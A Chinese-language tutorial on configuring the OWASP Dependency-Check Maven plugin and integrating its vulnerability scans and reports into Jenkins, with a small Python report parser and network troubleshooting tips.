③CVSS评分过滤

创建 dependency-check-report.html 并使 CVSS 大于或等于 8 的构建失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<configuration>
<failBuildOnCVSS>8</failBuildOnCVSS>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

效果如下

image

④跳过没有使用到组件

通常情况下,使用 mvn org.owasp:dependency-check-maven:aggregate命令来运行 OWASP 的 “dependency-check-maven” 插件,以检查项目依赖项中是否存在已知的安全漏洞,并生成报告。

但是,有时候我们不想包含某些依赖项,比如 provided 范围的依赖,这些依赖项不会被打包到分发包中,因此不需要进行漏洞检查。在这种情况下,可以使用上述命令来创建报告并跳过这些依赖项,以提高效率和减少报告中的噪音。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<configuration>
<skipProvidedScope>true</skipProvidedScope>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

⑤使用内部CVE源

创建 dependency-check-report.html报告文件,并使用内部 CVE 内容的镜像。这意味着,dependency-check-maven插件将使用本地存储的 CVE 内容,而不是从网络上获取。这通常可以提高扫描的速度,并且可以在没有网络连接的情况下进行扫描。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<configuration>
<cveUrlModified>http://internal-mirror.mycorp.com/nvdcve-1.1-modified.json.gz</cveUrlModified>
<cveUrlBase>http://internal-mirror.mycorp.com/nvdcve-1.1-%d.json.gz</cveUrlBase>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

⑥仅更新仓库

从 NIST 更新 NVD 数据的本地缓存,而不分析依赖关系。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<executions>
<execution>
<goals>
<goal>update-only</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

⑦抑制误报

使用多个抑制文件(例如公司范围的抑制文件和本地项目文件)抑制误报。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<configuration>
<suppressionFiles>
<suppressionFile>http://example.org/suppression.xml</suppressionFile>
<suppressionFile>project-suppression.xml</suppressionFile>
</suppressionFiles>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

【安全测试】Owasp Dependency-check 集成jenkins

【安全测试】Owasp Dependency-check 集成jenkins

本文转自 码上起舞 并作补充

一、目的

本文主要记录我在搭建安全体系中第三方依赖检查的过程中,使用Owsap dependency-check的过程及问题

二、OWASP Dependency-check简介

dependency-check适用于对代码中使用到的第三方依赖包进行扫描检测,查看引入的第三方包是否有已知的漏洞和缺陷,及早暴露风险及解决。

其原理可以在另一篇文章中查看。

三、OWASP Dependency-check 安装及使用

dependency check支持jenkins插件集成,也支持linux下命令行模式执行,还支持maven等。

ps:maven集成需要修改pom.xml,然后用命令

  • mvn org.owasp:dependency-check-maven:check
  • mvn dependency:list|grep -i “log4j*”
  • mvn dependency:tree

我们采用linux下命令行模式执行,然后在jenkins中execute shell集成denpendency-check的脚本,并利用jenkins插件,发布dependency-check的报告。

3.1 dependency-check下载

  1. command line安装包下载地址:https://owasp.org/www-project-dependency-check/
  2. jenkins插件下载地址:http://updates.jenkins-ci.org/download/plugins/dependency-check-jenkins-plugin/

image

点击Command Line,即可下载 dependency-check-7.0.4-release.zip

3.2 dependency-check使用(纯cmd模式)

将下载下来的dependency包解压后,进入bin目录,可以看到有dependency-check.sh 和dependency-check.bat脚本,sh脚本是linux使用脚本,bat是windows使用脚本。

我们以linux使用为例,将解压后文件夹拷贝到linux目录/data/tools

进入bin目录,执行 sh dependency-check.sh -help 查看命令行使用帮助。

执行扫描命令如下:

DIR=/data/tools/apps/

sh /data/tools/dependency-check/bin/dependency-check.sh -s ${DIR} –format HTML –format XML -o ./ –disableNodeAudit

命令行说明:

  • -s :扫描对象的路径,扫描的是文件夹路径下的所有文件的,例如war包,jar包均可被扫描
  • –format:生成报告的格式
  • -o :报告生成的路径

3.3 查看扫描结果

在-o指定的路径下会生成dependency的dependency-check-report.html报告,浏览器打开即可查看扫描内容

image

扫描结果会有个工程汇总信息,总共扫描多少个dependencies,有多少个漏洞被发现等

在工程信息下面会有汇总信息,比如对应的每个依赖包,例如abc.jar包,对应的cpe信息,以及枚举的漏洞级别数量等信息,每个漏洞对应具体的CVE号。需要具体分析;

也可以结合jenkins发布xml报告,查看更详细的信息,见步骤四。

四、dependency-check集成jenkins配置

  • 目的:扫描指定路径下的文件,路径下可能有需要部署的jar包和war包。路径暂定jenkins的变量${WORKSPACE}
  • 前提:
  1. 安装jenkins的dependency-check查看,方便发布报告用。
  2. 部署jenkins的linux服务器上已经安装第三部安装好dependency check软件包。

4.1 新建jenkins工程,自由风格

配置完成后构建效果如下,可以上传文件(jar,war,zip等包,点击构建开始扫描)

image

配置上传文件如下:

image

4.2 execute shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
cp jsrepository.json.right jsrepository.json #这步是因为有时候会构建失败,然后发现jsrepository.json是空的,每次扫描前用一个正确的去替换,确保扫描的稳定性
echo ${BUILD_NUMBER}echo ${WORKSPACE}cd ${WORKSPACE}
sh /home/appdeploy/dependency-check/bin/dependency-check.sh -s ${WORKSPACE}/file/ --format HTML --format XML -o ./
#如果使用本地库,需加上如下命令参数(本地镜像库需自己搭建后,将这些文件发布成可以http访问)
--cveUrlModified http://nvdcve-mirror.domain.com/nvdcve-1.1-modified.json.gz  --cveUrlBase http://nvdcve-mirror.domain.com/nvdcve-1.1-%d.json.gz

### 4.3 jenkins发布xml报告

![image](5.png)

### 4.4 jenkins发布html报告

![image](6.png)

### 4.5 构建完成后查看html报告

![image](7.png)

### 4.6 查看jenkins发布的xml报告

点击进入构建号的build页,左侧可以看到Dependency-check的选项,点击即可出现表格式的漏洞汇总

![image](8.png)

![image](9.png)

说明:在这个dependecny-check结果列表里面,会列出所有有漏洞的第三方依赖包,包括依赖包的名字,对应的漏洞CVE id,漏洞等级等信息,点击对应的包名,可以查看依赖包所在的路径,以及漏洞的描述。如果信息不够,可以查看html中的详细内容,以及搜索对应的CVE编号,去NVD漏洞库中查看完整的漏洞信息及解决方案。

NVD漏洞库:https://nvd.nist.gov/vuln/detail/CVE-2020-44226

不同的漏洞编号,替换后面的CVE编号查询即可。

**报告中一些重要字段的含义:**

· Dependency - 被扫描的第三依赖库名字

· CPE - 所有被识别出来的CPE.

· GAV - Maven 组, Artifact, 版本 (GAV).

· Highest Severity - 所有关联的cve的最高漏洞等级

· CVE Count - 关联的cve个数

· CPE Confidence - dependency-check正确识别cpe的程度

· Evidence Count - 识别CPE的数据个数

### 4.7 举一反三

- 1.扫描中的dir可以提取出来当build with param的参数,可以单独执行,也可以上下游工程串联执行
- 2.扫描中的dir可以是git自动down下来的文件夹目录,即只要构建参数指定git地址和分支名称,即可实现对该分支自动扫描

## 五、解析html文件用于消息的发送

解析html报告的代码文件get_security_result.py,获取html报告中summary数据中的critical的漏洞数量

```python
from bs4 import BeautifulSoup
from lxml import etree

class GetSecRes:

def get_dependency_critical_num_with_lxml(self, filename):
'''
用lxml库解析安全扫描的html报告,并统计出其中的critical的漏洞数量
:param filename: dependency-check扫描完成后生产的html文件,文件名全路径
:return:critical数量
'''
# 读取html文件
with open(filename, encoding='utf-8') as f:
data = f.read()
doc = etree.HTML(data)
# 获取漏洞汇总表中的漏洞行信息
trs = doc.xpath('//*[@id="summaryTable"]//tr[@class=" vulnerable"]')
criticalres = []
# 统计出每行的critical数量
for tr in trs:
tr_list = tr.xpath('./td/@data-sort-value')
td_text = tr.xpath('./td/text()')
tr_list.extend(td_text)
[criticalres.append(td) for td in tr_list if "CRITICAL" == td]
return (len(criticalres))

if __name__ == '__main__':
import sys
filename = sys.argv[1]
criticalres = GetSecRes().get_dependency_critical_num_with_lxml(filename)
print(criticalres)

集成get_security_result.py到jenkins的execute shell中(在sh下执行python脚本)

1
2
critical=$(python3 /data/script/get_security_result.py ${DIR}/dependency-check-report.html)
echo $critical

六、Troubshooting

6.1 Could not connect to Central search. Analysis failed.

问题描述:jenkins构建时,提示连接失败

image

问题解决:
https://issues.jenkins.io/browse/JENKINS-47991
1.原因是jenkins访问maven失败,需要在jenkins服务器开通访问 https://search.maven.org/这个地址的权限
2.测试访问:
# curl https://search.maven.org/

6.2 Failed to request component-reports

问题描述:

jenkins构建dependency-check时,生成报告,报错

image

问题解决:
1.原因是因为jenkins服务器无法访问https://ossindex.sonatype.org/
加上授权即可构建成功

6.3 owasp 需要的外网访问权限包括

https://nvd.nist.gov
https://search.maven.org/
https://ossindex.sonatype.org/
https://retirejs.github.io
https://github.com/advisories
https://registry.npmjs.org
https://www.npmjs.com